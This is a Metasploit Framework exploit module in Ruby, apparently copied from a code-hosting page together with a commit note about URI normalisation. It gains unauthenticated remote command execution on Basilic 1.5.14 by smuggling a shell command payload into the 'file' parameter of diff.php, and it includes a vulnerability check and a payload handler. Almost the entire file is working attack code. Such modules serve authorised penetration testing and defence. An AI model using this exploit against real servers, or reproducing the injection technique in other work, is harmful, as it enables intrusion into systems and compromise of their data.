sinn3r
c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
107 lines
2.3 KiB
Ruby
107 lines
2.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
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'Description' => %q{
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This module abuses a metacharacter injection vulnerability in the
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diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
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commands as the www-data user account.
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},
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'Author' =>
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[
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'lcashdollar',
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'sinn3r',
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'juan vazquez'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '83719' ],
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[ 'BID', '54234' ]
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],
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'Platform' => ['linux', 'unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python bash telnet'
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jun 28 2012'
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
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], self.class)
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end
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def check
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base = normalize_uri(target_uri.path)
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sig = rand_text_alpha(10)
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res = send_request_cgi({
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'uri' => normalize_uri("/#{base}/Config/diff.php"),
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'vars_get' => {
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'file' => sig,
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'new' => '1',
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'old' => '2'
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}
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})
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if res and res.body =~ /#{sig}/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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print_status("Sending GET request...")
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base = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'uri' => normalize_uri("/#{base}/Config/diff.php"),
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'vars_get' => {
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'file' => "&#{payload.encoded} #",
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'new' => '1',
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'old' => '2'
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}
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})
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if res and res.code == 404 then
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print_error("404 Basilic not installed or possibly check URI Path.")
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else
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vprint_line("Server returned #{res.code}")
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end
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handler
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end
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end
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